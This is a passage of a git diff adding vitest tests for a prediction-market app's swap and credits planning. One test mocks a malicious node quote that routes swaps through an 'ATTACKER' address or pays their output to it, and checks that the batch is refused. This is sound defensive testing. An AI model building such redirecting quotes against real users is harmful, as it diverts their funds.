as Algebra reads it. */ +const FEE = { "1%": 10_000n, "1.7%": 17_000n, "3%": 30_000n } as const; + +const upPool = (sqrtPriceX96: bigint, fee: bigint): PoolLiquidity => ({ + sqrtPriceX96, + liquidity: LIQUIDITY, + tick: 0, + fee, + ticks: [], + outcomeIsToken0: true, +}); +const UNPRICED: PoolLiquidity = { sqrtPriceX96: 0n, liquidity: 0n, tick: 0, fee: 0n, ticks: [], outcomeIsToken0: true }; + +/** Lens's answer for the whole amount with no limit, priced at the pool's starting price. */ +function lensQuotesAt(priceWad: bigint) { + lensQuote.mockImplementation( + (args: { + tokenIn: Address; + tokenOut: Address; + amount: bigint; + recipient: Address; + slippageBps: number; + deadline: bigint; + }) => { + const amountOut = + args.tokenIn === OPTION.underlying ? (args.amount * WAD) / priceWad : (args.amount * priceWad) / WAD; + return Promise.resolve({ + amountIn: args.amount, + amountOut, + target: SWAPR_ROUTER, + msgValue: 0n, + data: encodeFunctionData({ + abi: ROUTER_ABI, + functionName: "exactInputSingle", + args: [ + { + tokenIn: args.tokenIn, + tokenOut: args.tokenOut, + recipient: args.recipient, + deadline: args.deadline, + amountIn: args.amount, + amountOutMinimum: (amountOut * BigInt(10_000 - args.slippageBps)) / 10_000n, + limitSqrtPrice: 0n, + }, + ], + }), + }); + }, + ); +} + +/** The real Lens quoter, with each request it was given kept. Lens is mocked, so the client is never read. */ +function recordingLensQuoter(): SwapQuoter & { requests: SwapQuoteRequest[] } { + const lens = createLensQuoter({} as PublicClient, 100, () => Promise.resolve(0n)); + const requests: SwapQuoteRequest[] = []; + return { + requests, + quote: (request) => { + requests.push(request); + return lens.quote(request); + }, + }; +} + +/** Builds the one predict batch for UP's pool and returns the min-out of every swap it signs. */ +async function buildUpLeg(args: { pool: PoolLiquidity; targetPriceWad: bigint }) { + const option: PredictOption = { ...OPTION, targetPriceWad: args.targetPriceWad }; + const quoter = recordingLensQuoter(); + const reader = fakeReader({ state: () => chainState({ pools: { up: args.pool, down: UNPRICED } }) }); + const snap = snapshot({ + options: [option], + collateralIn: WAD, + deposit: WAD, + slippage: { tradeBps: SLIPPAGE_BPS, creditsBps: 0 }, + }); + + const step = planPredict(snap, { reader, quoter }).find((each) => each.id === STEP_ID.predict(1))!; + const tx = await step.build(ctx(), snap); + + const batch = decodeFunctionData({ abi: tradeExecutorAbi, data: tx.data! }); + if (batch.functionName !== "batchExecute") throw new Error(`Expected batchExecute, got ${batch.functionName}`); + const minOuts = batch.args[0] + .filter((call) => call.to === SWAPR_ROUTER) + .map((call) => decodeFunctionData({ abi: ROUTER_ABI, data: call.data as Hex }).args[0].amountOutMinimum); + + return { requests: quoter.requests, minOuts }; +} + +// a leg is offered 1% over what reaching the target takes +const withHeadroom = (amount: bigint) => (amount * 101n) / 100n; +const kept = BigInt(10_000 - SLIPPAGE_BPS); +/** One leg's min-out, at or above `floor` and at or below what the pool pays at the limit. */ +function expectBetween(minOuts: bigint[], floor: bigint, atLimit: bigint) { + expect(minOuts).toHaveLength(1); + expect(minOuts[0]!).toBeGreaterThanOrEqual(floor); + expect(minOuts[0]!).toBeLessThanOrEqual(atLimit); +} + +/** What goes in once the pool's fee is taken. */ +const net = (gross: bigint, fee: bigint) => (gross * (1_000_000n - fee)) / 1_000_000n; + +describe("the min-out each predict leg is signed with", () => { + beforeEach(() => { + lensQuote.mockReset(); + }); + + it("prices a buy's min-out at its limit on what reaching the target spends, not on the headroom", async () => { + lensQuotesAt(PRICE["0.25"]); + + const { requests, minOuts } = await buildUpLeg({ + pool: upPool(SQRT["0.25"], FEE["1%"]), + targetPriceWad: PRICE["16641/65536"], + }); + + // sqrt 2^95 up to 129 * 2^88 takes LIQUIDITY / 256 underlying net, 100/99 of it gross + const grossIn = ((LIQUIDITY / 256n) * 100n + 98n) / 99n; + expect(requests).toEqual([ + expect.objectContaining({ + tokenIn: OPTION.underlying, + tokenOut: OPTION.upToken, + amount: withHeadroom(grossIn), + limitSqrtPrice: SQRT["16641/65536"], + amountInAtLimit: grossIn, + amountOutAtLimit: (2n * LIQUIDITY) / 129n, + }), + ]); + // at least the limit price on what the fee leaves, and no more than the pool pays at the limit + expectBetween(minOuts, (net(grossIn, FEE["1%"]) * 65_536n * kept) / (16_641n * 10_000n), (2n * LIQUIDITY) / 129n); + }); + + it("prices a sell's min-out at its limit on what reaching the target spends, not on the headroom", async () => { + lensQuotesAt(PRICE["16641/65536"]); + + const { requests, minOuts } = await buildUpLeg({ + pool: upPool(SQRT["16641/65536"], FEE["1%"]), + targetPriceWad: PRICE["0.25"], + }); + + // sqrt 129 * 2^88 down to 2^95 takes 2 * LIQUIDITY / 129 UP net, 100/99 of it gross + const grossIn = (((2n * LIQUIDITY) / 129n) * 100n + 98n) / 99n; + expect(requests).toEqual([ + expect.objectContaining({ + tokenIn: OPTION.upToken, + tokenOut: OPTION.underlying, + amount: withHeadroom(grossIn), + limitSqrtPrice: SQRT["0.25"], + amountInAtLimit: grossIn, + amountOutAtLimit: LIQUIDITY / 256n, + }), + ]); + // at least a quarter of an underlying per UP the fee leaves, and no more than the pool pays at the limit + expectBetween(minOuts, (net(grossIn, FEE["1%"]) * kept) / (4n * 10_000n), LIQUIDITY / 256n); + }); + + it("signs a buy whose fee is just above its move with a min-out the pool still pays at the limit", async () => { + lensQuotesAt(PRICE["0.25"]); + + const { minOuts } = await buildUpLeg({ + pool: upPool(SQRT["0.25"], FEE["1.7%"]), + targetPriceWad: PRICE["16641/65536"], + }); + + // a 1.6% move under a 1.7% fee + const grossIn = ((LIQUIDITY / 256n) * 1_000n + 982n) / 983n; + expectBetween(minOuts, (net(grossIn, FEE["1.7%"]) * 65_536n * kept) / (16_641n * 10_000n), (2n * LIQUIDITY) / 129n); + }); + + it("signs a buy whose fee outweighs its move with a min-out the pool still pays at the limit", async () => { + lensQuotesAt(PRICE["0.25"]); + + const { minOuts } = await buildUpLeg({ + pool: upPool(SQRT["0.25"], FEE["3%"]), + targetPriceWad: PRICE["16641/65536"], + }); + + // a 1.6% move under a 3% fee: the floor takes the fee off the input before pricing it at the limit + const grossIn = ((LIQUIDITY / 256n) * 100n + 96n) / 97n; + expectBetween(minOuts, (net(grossIn, FEE["3%"]) * 65_536n * kept) / (16_641n * 10_000n), (2n * LIQUIDITY) / 129n); + }); +}); diff --git a/apps/web/src/features/predict/flow/__tests__/lensAnswer.test.ts b/apps/web/src/features/predict/flow/__tests__/lensAnswer.test.ts new file mode 100644 index 00000000..c0d98310 --- /dev/null +++ b/apps/web/src/features/predict/flow/__tests__/lensAnswer.test.ts @@ -0,0 +1,90 @@ +import { encodeFunctionData, parseAbi, type Address, type PublicClient } from "viem"; +import { beforeEach, describe, expect, it, vi } from "vitest"; + +import { createLensQuoter } from "@/lib/swap/lens"; +import { QuoteRefusedError } from "@/lib/swap/types"; + +import { planPredict, QuoteFailedError, STEP_ID } from "../plan"; +import { chainState, ctx, fakeReader, option, snapshot } from "./support/fakes"; + +const ROUTER_ABI = parseAbi([ + "function exactInputSingle((address tokenIn, address tokenOut, address recipient, uint256 deadline, uint256 amountIn, uint256 amountOutMinimum, uint160 limitSqrtPrice) params) payable returns (uint256 amountOut)", +]); +const SWAPR_ROUTER = "0xfFB643E73f280B97809A8b41f7232AB401a04ee1" as Address; +const ATTACKER = "0xBAd0000000000000000000000000000000000Bad" as Address; + +const lensQuote = vi.fn(); + +vi.mock("@seer-pm/lens/client", () => ({ + Lens: class { + quote = lensQuote; + }, +})); + +type LensArgs = { tokenIn: Address; tokenOut: Address; amount: bigint; recipient: Address; deadline: bigint }; + +/** A node whose LensQuoter answers every swap with `target` as the router and `recipient` paid. */ +function lensAnswers(answer: { target: Address; recipient?: Address }) { + lensQuote.mockImplementation((args: LensArgs) => + Promise.resolve({ + amountIn: args.amount, + amountOut: args.amount / 2n, + target: answer.target, + msgValue: 0n, + data: encodeFunctionData({ + abi: ROUTER_ABI, + functionName: "exactInputSingle", + args: [ + { + tokenIn: args.tokenIn, + tokenOut: args.tokenOut, + recipient: answer.recipient ?? args.recipient, + deadline: args.deadline, + amountIn: args.amount, + amountOutMinimum: 0n, + limitSqrtPrice: 0n, + }, + ], + }), + }), + ); +} + +async function build() { + const snap = snapshot({ options: [option(1), option(2)] }); + const onLeftOut = vi.fn(); + const quoter = createLensQuoter({} as PublicClient, 100, () => Promise.resolve(0n)); + const step = planPredict(snap, { reader: fakeReader({ state: () => chainState() }), quoter, onLeftOut }).find( + (each) => each.id === STEP_ID.predict(1), + )!; + const built = await Promise.resolve(step.build(ctx(), snap)).catch((caught: unknown) => caught); + return { built, onLeftOut }; +} + +describe("a predict batch quoted by an RPC that answers for another swap", () => { + beforeEach(() => { + lensQuote.mockReset(); + }); + + it.each([ + ["routes every leg through its own router", { target: ATTACKER }], + ["pays every leg's output to someone else", { target: SWAPR_ROUTER, recipient: ATTACKER }], + ])("is not built when the node %s, and leaves no option out", async (_, answer) => { + lensAnswers(answer); + + const { built, onLeftOut } = await build(); + + expect(built).toBeInstanceOf(QuoteFailedError); + expect((built as QuoteFailedError).cause).toBeInstanceOf(QuoteRefusedError); + expect(onLeftOut).not.toHaveBeenCalled(); + }); + + it("is built when the node answers for the swap asked", async () => { + lensAnswers({ target: SWAPR_ROUTER }); + + const { built, onLeftOut } = await build(); + + expect(built).toMatchObject({ to: ctx().executor }); + expect(onLeftOut).not.toHaveBeenCalled(); + }); +}); diff --git a/apps/web/src/features/predict/flow/__tests__/plan.credits.test.ts b/apps/web/src/features/predict/flow/__tests__/plan.credits.test.ts new file mode 100644 index 00000000..750cb3c4 --- /dev/null +++ b/apps/web/src/features/predict/flow/__tests__/plan.credits.test.ts @@ -0,0 +1,408 @@ +import { decodeFunctionData, erc20Abi, parseAbi, type Address, type Hex } from "viem"; +import { describe, expect, it } from "vitest"; + +import { withdrawTx } from "@/lib/trade-executor/funding"; + +import { gnosisRouterAbi, tradeExecutorAbi } from "@/config/contracts"; + +import { CREDITS_SLIPPAGE_BPS } from "../../oracle/tolerances"; +import { departures, sessionTokensOf } from "../allowed"; +import { + assertRoutes, + CreditsUnavailableError, + MINT_RATE_MARGIN_BPS, + planPredict, + PlansMovedError, + PredictConfigError, + previewCreditsSwap, + STEP_ID, + TxPendingError, + type PredictDeps, +} from "../plan"; +import type { LandedTx, PredictCtx, PredictSnapshot } from "../types"; +import { + addresses, + ALGEBRA_ROUTER_ABI, + chainState, + ctx, + fakeCreditsQuoter, + fakeQuoter, + fakeReader, + landedTx, + option, + poolQuoter, + snapshot, + VAULT_RATE, + WAD, +} from "./support/fakes"; + +const WXDAI_ABI = parseAbi(["function withdraw(uint256 wad)"]); +const EXECUTE_ABI = parseAbi(["function execute(address to, bytes data, uint256 amount, address outputToken)"]); + +/** 2 credits spent, 1.5 of them moved from the wallet, with 3 sDAI split beside them. */ +const creditsRun = (overrides: Partial = {}): PredictSnapshot => + snapshot({ + deposit: 3n * WAD, + collateralIn: 3n * WAD, + creditsFromEoa: (3n * WAD) / 2n, + creditsToSpend: 2n * WAD, + creditsAtStart: WAD / 2n, + ...overrides, + }); + +const deps = (overrides: Partial = {}): PredictDeps => ({ + reader: fakeReader({ credits: { [addresses.executor]: 2n * WAD } }), + quoter: fakeQuoter(), + creditsQuoter: fakeCreditsQuoter(), + ...overrides, +}); + +type ValueCall = { to: Address; data: Hex; value: bigint }; + +function valueCalls(data: Hex): ValueCall[] { + const decoded = decodeFunctionData({ abi: tradeExecutorAbi, data }); + if (decoded.functionName === "batchValueExecute") return decoded.args[0].map((call) => ({ ...call })); + if (decoded.functionName === "batchExecute") return decoded.args[0].map((call) => ({ ...call, value: 0n })); + throw new Error(`Expected a batch, got ${decoded.functionName}`); +} + +async function build(snap: PredictSnapshot, used: PredictDeps = deps(), at: PredictCtx = ctx(), batch = 1) { + const step = planPredict(snap, used).find((each) => each.id === STEP_ID.predict(batch))!; + return step.build(at, snap); +} + +/** What the fake credits quote pays for `credits`, and the floor the batch must hold it to. */ +const quoted = (credits: bigint) => (((credits * VAULT_RATE) / WAD) * (10_000n - 5n)) / 10_000n; +const floorOf = (credits: bigint, slippageBps = CREDITS_SLIPPAGE_BPS) => + (quoted(credits) * (10_000n - BigInt(slippageBps))) / 10_000n; +const mintedFrom = (wxdai: bigint) => (wxdai * WAD) / VAULT_RATE; + +describe("planPredict with credits", () => { + it("moves the wallet's credits after the trade wallet exists and before the money is added", () => { + expect(planPredict(creditsRun(), deps()).map((step) => step.id)).toEqual([ + STEP_ID.createExecutor, + STEP_ID.addCredits, + STEP_ID.deposit, + STEP_ID.predict(1), + ]); + }); + + it("has no Add credits step when the trade wallet already holds every credit spent", () => { + const steps = planPredict(creditsRun({ creditsFromEoa: 0n, creditsAtStart: 2n * WAD }), deps()); + + expect(steps.map((step) => step.id)).not.toContain(STEP_ID.addCredits); + }); + + it("transfers exactly the wallet's credits the popup showed, to the run's own trade wallet (A3, A6)", async () => { + const step = planPredict(creditsRun(), deps()).find((each) => each.id === STEP_ID.addCredits)!; + const tx = await step.build(ctx(), creditsRun()); + + expect(tx.to).toBe(addresses.credits); + expect(tx.value ?? 0n).toBe(0n); + expect(decodeFunctionData({ abi: erc20Abi, data: tx.data! }).args).toEqual([addresses.executor, (3n * WAD) / 2n]); + }); + + it("skips Add credits once its own transfer has landed, not on credits that arrived some other way", async () => { + const step = (landed: LandedTx[], pending = false) => + planPredict(creditsRun(), deps({ reader: fakeReader({ landed, pending: () => pending }) })).find( + (each) => each.id === STEP_ID.addCredits, + )!; + const transfer = await step([]).build(ctx(), creditsRun()); + const other = { ...transfer, data: transfer.data!.replace(/.{2}$/, "01") as Hex }; + + await expect(step([landedTx(transfer)]).canSkip!(ctx(), creditsRun())).resolves.toBe(true); + await expect(step([landedTx(other)]).canSkip!(ctx(), creditsRun())).resolves.toBe(false); + await expect(step([]).canSkip!(ctx(), creditsRun())).resolves.toBe(false); + // a transfer still in the mempool may be this one, so it is neither skipped nor signed again + await expect(step([], true).canSkip!(ctx(), creditsRun())).rejects.toBeInstanceOf(TxPendingError); + }); + + it("refuses a credits run on a network the credits contracts are not on", () => { + const steps = planPredict(creditsRun(), deps()); + const add = steps.find((each) => each.id === STEP_ID.addCredits)!; + + expect(() => add.build(ctx({ credits: null }), creditsRun())).toThrow(PredictConfigError); + }); +}); + +describe("the first batch of a credits run", () => { + it("spends the credits through the manager, unwraps, splits the xDAI at the parent, then splits the sDAI", async () => { + const tx = await build(creditsRun()); + const calls = valueCalls(tx.data!); + + expect(decodeFunctionData({ abi: tradeExecutorAbi, data: tx.data! }).functionName).toBe("batchValueExecute"); + expect(tx.value ?? 0n).toBe(0n); + expect(calls.slice(0, 5).map((call) => call.to)).toEqual([ + addresses.manager, + addresses.wxdai, + addresses.router, + addresses.collateral, + addresses.router, + ]); + + const [target, swap, amount, outputToken] = decodeFunctionData({ + abi: EXECUTE_ABI, + data: calls[0]!.data, + }).args; + expect([target, amount, outputToken]).toEqual([addresses.swapRouter, 2n * WAD, addresses.wxdai]); + + const [params] = decodeFunctionData({ abi: ALGEBRA_ROUTER_ABI, data: swap }).args; + expect(params).toMatchObject({ + tokenIn: addresses.collateral, + tokenOut: addresses.wxdai, + recipient: addresses.executor, + amountIn: 2n * WAD, + amountOutMinimum: floorOf(2n * WAD), + }); + + expect(decodeFunctionData({ abi: WXDAI_ABI, data: calls[1]!.data }).args).toEqual([floorOf(2n * WAD)]); + const base = decodeFunctionData({ abi: gnosisRouterAbi, data: calls[2]!.data }); + expect(base.functionName).toBe("splitFromBase"); + expect(base.args).toEqual([addresses.parentMarket]); + expect(calls[2]!.value).toBe(floorOf(2n * WAD)); + + const split = decodeFunctionData({ abi: gnosisRouterAbi, data: calls[4]!.data }); + expect(split.functionName).toBe("splitPosition"); + expect(split.args).toEqual([addresses.collateral, addresses.parentMarket, 3n * WAD]); + + // only the parent split from xDAI carries native value + expect(calls.filter((call) => call.value > 0n)).toHaveLength(1); + }); + + it("does not approve the trade wallet's sDAI to Swapr: the manager pays from its own", async () => { + const calls = valueCalls((await build(creditsRun())).data!); + const sDaiApprovals = calls + .filter((call) => call.to === addresses.collateral && call.data.startsWith("0x095ea7b3")) + .map((call) => decodeFunctionData({ abi: erc20Abi, data: call.data }).args[0]); + + expect(sDaiApprovals).toEqual([addresses.router]); + }); + + it("splits each option from both sources: the sDAI and what the unwrapped credits mint, less the rate margin", async () => { + const one = option(1); + const tx = await build( + creditsRun(), + deps({ reader: fakeReader({ state: () => chainState({ underlying: WAD / 10n }) }) }), + ); + const childSplits = valueCalls(tx.data!) + .filter((call) => call.to === addresses.router) + .map((call) => decodeFunctionData({ abi: gnosisRouterAbi, data: call.data })) + .filter((call) => call.functionName === "splitPosition" && call.args[1] === one.childMarket); + + // a rate rise between the build and the send mints less than the preview, so each split stays under it + const preview = mintedFrom(floorOf(2n * WAD)); + const margin = (preview * MINT_RATE_MARGIN_BPS) / 10_000n; + expect(margin).toBeGreaterThan(0n); + expect(childSplits.map((call) => call.args[2])).toEqual([WAD / 10n + 3n * WAD + preview - margin]); + }); + + it("with credits alone, splits only from xDAI at the parent", async () => { + const tx = await build(creditsRun({ deposit: 0n, collateralIn: 0n })); + const parentSplits = valueCalls(tx.data!) + .filter((call) => call.to === addresses.router) + .map((call) => decodeFunctionData({ abi: gnosisRouterAbi, data: call.data })) + .filter((call) => call.functionName === "splitPosition" && call.args[1] === addresses.parentMarket); + + expect(parentSplits).toEqual([]); + const base = valueCalls(tx.data!).filter((call) => call.value > 0n); + expect(base).toHaveLength(1); + }); + + it("keeps every call to the allow-list, the owner's trade wallet and the value rule (A5, A6, P5)", async () => { + const snap = creditsRun(); + const steps = planPredict(snap, deps({ quoter: fakeQuoter() })); + const sessionTokens = sessionTokensOf(ctx(), snap.options); + + for (const step of steps) { + const tx = await step.build(ctx(), snap); + expect(departures({ tx, ctx: ctx(), sessionTokens, from: addresses.owner }), step.id).toEqual([]); + } + }); + + it("leaves a run without credits on batchExecute, with no native value", async () => { + const tx = await build(snapshot()); + + expect(decodeFunctionData({ abi: tradeExecutorAbi, data: tx.data! }).functionName).toBe("batchExecute"); + expect(tx.value ?? 0n).toBe(0n); + }); + + it("spends credits in the first batch only", async () => { + const options = [option(1), option(2)]; + // the first batch's parent split already gave every option its underlying + const used = deps({ reader: fakeReader({ state: () => chainState({ underlying: WAD }) }) }); + const tx = await build(creditsRun({ options, optionsPerBatch: 1 }), used, ctx(), 2); + + expect(decodeFunctionData({ abi: tradeExecutorAbi, data: tx.data! }).functionName).toBe("batchExecute"); + expect(valueCalls(tx.data!).some((call) => call.to === addresses.manager)).toBe(false); + }); + + it("refuses before signing when the manager cannot cover the credits", async () => { + const used = deps({ reader: fakeReader({ manager: 2n * WAD - 1n }) }); + + await expect(build(creditsRun(), used)).rejects.toBeInstanceOf(CreditsUnavailableError); + }); + + it("spends the credits whatever the swap gives up against the vault rate, held to its slippage floor", async () => { + const used = deps({ creditsQuoter: fakeCreditsQuoter({ lossBps: 300n }) }); + const lossy = (((2n * WAD * VAULT_RATE) / WAD) * (10_000n - 300n)) / 10_000n; + + const calls = valueCalls((await build(creditsRun(), used)).data!); + const [, swap] = decodeFunctionData({ abi: EXECUTE_ABI, data: calls[0]!.data }).args; + const [params] = decodeFunctionData({ abi: ALGEBRA_ROUTER_ABI, data: swap }).args; + expect(params.amountOutMinimum).toBe((lossy * (10_000n - BigInt(CREDITS_SLIPPAGE_BPS))) / 10_000n); + }); + + it("holds the credits swap to one xDAI a credit, less its slippage, when the pool quotes less than that", async () => { + // 2 credits at 1.25 less 20.08% quote 0.999 xDAI each + const used = deps({ creditsQuoter: fakeCreditsQuoter({ lossBps: 2008n }) }); + const atPar = (2n * WAD * (10_000n - BigInt(CREDITS_SLIPPAGE_BPS))) / 10_000n; + + const calls = valueCalls((await build(creditsRun(), used)).data!); + const [, swap] = decodeFunctionData({ abi: EXECUTE_ABI, data: calls[0]!.data }).args; + const [params] = decodeFunctionData({ abi: ALGEBRA_ROUTER_ABI, data: swap }).args; + expect(params.amountOutMinimum).toBe(atPar); + expect(calls[2]!.value).toBe(atPar); + expect((await previewCreditsSwap(ctx(), 2n * WAD, CREDITS_SLIPPAGE_BPS, used)).floor).toBe(atPar); + }); + + it("refuses a credits swap quoted under one xDAI a credit by more than its slippage", async () => { + // 2 credits at 1.25 less 21% quote 0.9875 xDAI each + const used = deps({ creditsQuoter: fakeCreditsQuoter({ lossBps: 2100n }) }); + + await expect(build(creditsRun(), used)).rejects.toBeInstanceOf(CreditsUnavailableError); + await expect(previewCreditsSwap(ctx(), 2n * WAD, CREDITS_SLIPPAGE_BPS, used)).rejects.toBeInstanceOf( + CreditsUnavailableError, + ); + }); + + it("holds the credits swap to the run's own credits slippage", async () => { + const run = creditsRun({ slippage: { tradeBps: 100, creditsBps: 75 } }); + + const calls = valueCalls((await build(run)).data!); + const [, swap] = decodeFunctionData({ abi: EXECUTE_ABI, data: calls[0]!.data }).args; + const [params] = decodeFunctionData({ abi: ALGEBRA_ROUTER_ABI, data: swap }).args; + expect(params.amountOutMinimum).toBe(floorOf(2n * WAD, 75)); + expect(calls[2]!.value).toBe(floorOf(2n * WAD, 75)); + }); + + it("refuses a credits quote that routes anywhere but the whitelisted Swapr router, or pays anyone else", async () => { + const elsewhere = "0x00000000000000000000000000000000000000ee" as Address; + + await expect( + build(creditsRun(), deps({ creditsQuoter: fakeCreditsQuoter({ router: elsewhere }) })), + ).rejects.toBeInstanceOf(CreditsUnavailableError); + await expect( + build(creditsRun(), deps({ creditsQuoter: fakeCreditsQuoter({ recipient: elsewhere }) })), + ).rejects.toBeInstanceOf(CreditsUnavailableError); + }); + + it("refuses when no credits quoter was given", async () => { + await expect(build(creditsRun(), deps({ creditsQuoter: undefined }))).rejects.toBeInstanceOf(PredictConfigError); + }); + + it("skips the first batch once its own batch has landed, not when the credits left some other way (A7)", async () => { + const run = creditsRun(); + const step = (landed: LandedTx[]) => + planPredict(run, deps({ reader: fakeReader({ landed }) })).find((each) => each.id === STEP_ID.predict(1))!; + const batch = await step([]).build(ctx(), run); + const withdraw = withdrawTx({ + executor: addresses.executor, + recipient: addresses.owner, + assets: [{ token: addresses.credits, amount: 2n * WAD }], + }); + const elsewhere = await step([]).build(ctx({ parentMarket: "0x00000000000000000000000000000000000000ff" }), run); + + await expect(step([landedTx(batch)]).canSkip!(ctx(), run)).resolves.toBe(true); + await expect(step([landedTx(withdraw)]).canSkip!(ctx(), run)).resolves.toBe(false); + await expect(step([landedTx(elsewhere)]).canSkip!(ctx(), run)).resolves.toBe(false); + // a batch spending other credits than this run's is another run's + await expect(step([landedTx(batch)]).canSkip!(ctx(), { ...run, creditsToSpend: WAD })).resolves.toBe(false); + }); +}); + +describe("a credits batch held to the swap Details showed", () => { + /** Every option's plan as the pools give it now, so only the credits swap can differ from what was shown. */ + const plansNow = async () => { + const error = await build(creditsRun(), deps({ heldTo: () => ({ plans: {} }) })).catch((caught: unknown) => caught); + return (error as PlansMovedError).moved.plans; + }; + const minimumOf = async (tx: { data?: Hex }) => { + const [, swap] = decodeFunctionData({ abi: EXECUTE_ABI, data: valueCalls(tx.data!)[0]!.data }).args; + return decodeFunctionData({ abi: ALGEBRA_ROUTER_ABI, data: swap }).args[0].amountOutMinimum; + }; + + it("stops at moved when the shown swap was for other credits than the run spends", async () => { + const shown = await previewCreditsSwap(ctx(), WAD, CREDITS_SLIPPAGE_BPS, deps()); + const plans = await plansNow(); + const used = deps({ heldTo: () => ({ plans, credits: shown }) }); + + const error = await build(creditsRun(), used).catch((caught: unknown) => caught); + expect(error).toBeInstanceOf(PlansMovedError); + expect((error as PlansMovedError).moved).toMatchObject({ markets: [], credits: { quoted: quoted(2n * WAD) } }); + }); + + it("stops at moved when the shown swap had another slippage than the run signs with", async () => { + const shown = await previewCreditsSwap(ctx(), 2n * WAD, 500, deps()); + const plans = await plansNow(); + const used = deps({ heldTo: () => ({ plans, credits: shown }) }); + + const error = await build(creditsRun(), used).catch((caught: unknown) => caught); + expect(error).toBeInstanceOf(PlansMovedError); + expect((error as PlansMovedError).moved).toMatchObject({ markets: [], credits: { quoted: quoted(2n * WAD) } }); + }); + + it("never signs a minimum below the live quote's floor when the pool now pays more than shown", async () => { + const shown = await previewCreditsSwap( + ctx(), + 2n * WAD, + CREDITS_SLIPPAGE_BPS, + deps({ creditsQuoter: fakeCreditsQuoter({ lossBps: 40n }) }), + ); + const plans = await plansNow(); + const used = deps({ quoter: poolQuoter(creditsRun().options), heldTo: () => ({ plans, credits: shown }) }); + + expect(shown.floor).toBeLessThan(floorOf(2n * WAD)); + expect(await minimumOf(await build(creditsRun(), used))).toBe(floorOf(2n * WAD)); + }); +}); + +describe("assertRoutes with credits", () => { + it("checks the credits leg and the options against what both sources will mint", async () => { + const used = deps(); + + await expect(assertRoutes(ctx(), creditsRun(), used)).resolves.toBeUndefined(); + expect((used.creditsQuoter as ReturnType).requests).toHaveLength(1); + }); + + it("refuses when the manager is short, before anything is signed", async () => { + await expect( + assertRoutes(ctx(), creditsRun(), deps({ reader: fakeReader({ manager: WAD }) })), + ).rejects.toBeInstanceOf(CreditsUnavailableError); + }); +}); + +describe("previewCreditsSwap", () => { + it("names what the swap is quoted to pay, the credits' vault value, the floor, the difference lost and the split it mints", async () => { + const used = deps({ creditsQuoter: fakeCreditsQuoter({ lossBps: 40n }) }); + const value = (2n * WAD * VAULT_RATE) / WAD; + const paid = (value * (10_000n - 40n)) / 10_000n; + const floor = (paid * (10_000n - 20n)) / 10_000n; + const minted = mintedFrom(floor); + + await expect(previewCreditsSwap(ctx(), 2n * WAD, 20, used)).resolves.toEqual({ + amount: 2n * WAD, + creditsBps: 20, + quoted: paid, + vaultValue: value, + floor, + loss: value - paid, + minted: minted - (minted * MINT_RATE_MARGIN_BPS) / 10_000n, + }); + }); + + it("counts no loss when the pool pays above the vault rate", async () => { + const used = deps({ creditsQuoter: fakeCreditsQuoter({ lossBps: -10n }) }); + + expect((await previewCreditsSwap(ctx(), 2n * WAD, 20, used)).loss).toBe(0n); + }); +}); diff --git a/apps/web/src/features/predict/flow/__tests__/plan.heldQuotes.test.ts b/apps/web/src/features/predict/flow/__tests__/plan.heldQuotes.test.ts new file mode 100644 index 00000000..35061ec5 --- /dev/null +++ b/apps/web/src/features/predict/flow/__tests__/plan.heldQuotes.test.ts @@ -0,0 +1,163 @@ +import { describe, expect, it, vi } from "vitest"; + +import type { SwapQuoteRequest } from "@/lib/swap/types"; + +import { SLIPPAGE_BPS } from "../../oracle/tolerances"; +import { MIN_LEG_WEI, previewTrades } from "../../utils/plan"; +import { sqrtPriceX96FromPrice } from "../../utils/poolMath"; +import { planPredict, PlansMovedError, STEP_ID, type PredictDeps } from "../plan"; +import type { OptionChainState, PredictOption, ShownPlans } from "../types"; +import { chainState, ctx, fakeReader, option, poolQuoter, snapshot, WAD, type FakeQuoter } from "./support/fakes"; + +const OPTIONS = [option(1), option(2)]; +const run = snapshot({ options: OPTIONS, deposit: 3n * WAD, collateralIn: 3n * WAD }); + +/** The pools the popup read: option 1's UP sells to its target, DOWN buys toward its own. */ +const shownState = () => chainState(); + +/** Option 1's pools after a searcher moves `side` to `priceWad` between the build's read and its quotes. */ +const movedState = (side: "up" | "down", priceWad: bigint) => (each: PredictOption) => { + const state = shownState(); + if (each !== OPTIONS[0]) return state; + const pool = state.pools[side]; + return { + ...state, + pools: { ...state.pools, [side]: { ...pool, sqrtPriceX96: sqrtPriceX96FromPrice(priceWad, pool.outcomeIsToken0) } }, + } satisfies OptionChainState; +}; + +async function build(deps: PredictDeps) { + const step = planPredict(run, deps).find((each) => each.id === STEP_ID.predict(1))!; + return Promise.resolve(step.build(ctx(), run)).catch((caught: unknown) => caught); +} + +/** Every option's plan as the popup shows it from `shownState`'s pools. */ +async function shownPlans(): Promise { + const error = await build({ + reader: fakeReader({ state: shownState }), + quoter: poolQuoter(OPTIONS, shownState), + heldTo: () => ({ plans: {} }), + }); + return (error as PlansMovedError).moved.plans; +} + +describe("a predict batch held to the plans the popup showed", () => { + it("is built when the live quotes pay what was shown", async () => { + const plans = await shownPlans(); + const onLeftOut = vi.fn(); + + const built = await build({ + reader: fakeReader({ state: shownState }), + quoter: poolQuoter(OPTIONS, shownState), + heldTo: () => ({ plans }), + onLeftOut, + }); + + expect(built).toMatchObject({ to: ctx().executor }); + expect(onLeftOut).not.toHaveBeenCalled(); + }); + + it.each([ + ["a buy pays fewer outcome tokens", "down", WAD / 2n], + ["a sell pays less underlying", "up", WAD / 2n], + ] as const)( + "stops at moved, with no option left out, when the pool moves after the read and %s than shown", + async (_, side, priceWad) => { + const plans = await shownPlans(); + const onLeftOut = vi.fn(); + const moved = movedState(side, priceWad); + // the build's first read sees the shown pools; the searcher's move lands before the quotes + const reader = fakeReader({ state: (each) => (reader.asked.length > 1 ? moved(each) : shownState()) }); + + const error = await build({ + reader, + quoter: poolQuoter(OPTIONS, moved), + heldTo: () => ({ plans }), + onLeftOut, + }); + + expect(error).toBeInstanceOf(PlansMovedError); + expect((error as PlansMovedError).moved.markets).toEqual([OPTIONS[0]!.childMarket]); + expect(onLeftOut).not.toHaveBeenCalled(); + }, + ); + + it("asks each leg's minimum of the output shown for it, when the quotes pay a little less", async () => { + const plans = await shownPlans(); + const pool = poolQuoter(OPTIONS, shownState); + const requests: SwapQuoteRequest[] = []; + // half a percent under the plan shown: inside the tolerance, so the batch is built + const quoter = { + quote: async (request: SwapQuoteRequest) => { + requests.push(request); + const quote = await pool.quote(request); + return { ...quote, amountOut: (quote.amountOut * 9_950n) / 10_000n }; + }, + }; + + const built = await build({ reader: fakeReader({ state: shownState }), quoter, heldTo: () => ({ plans }) }); + + expect(built).toMatchObject({ to: ctx().executor }); + const plan = 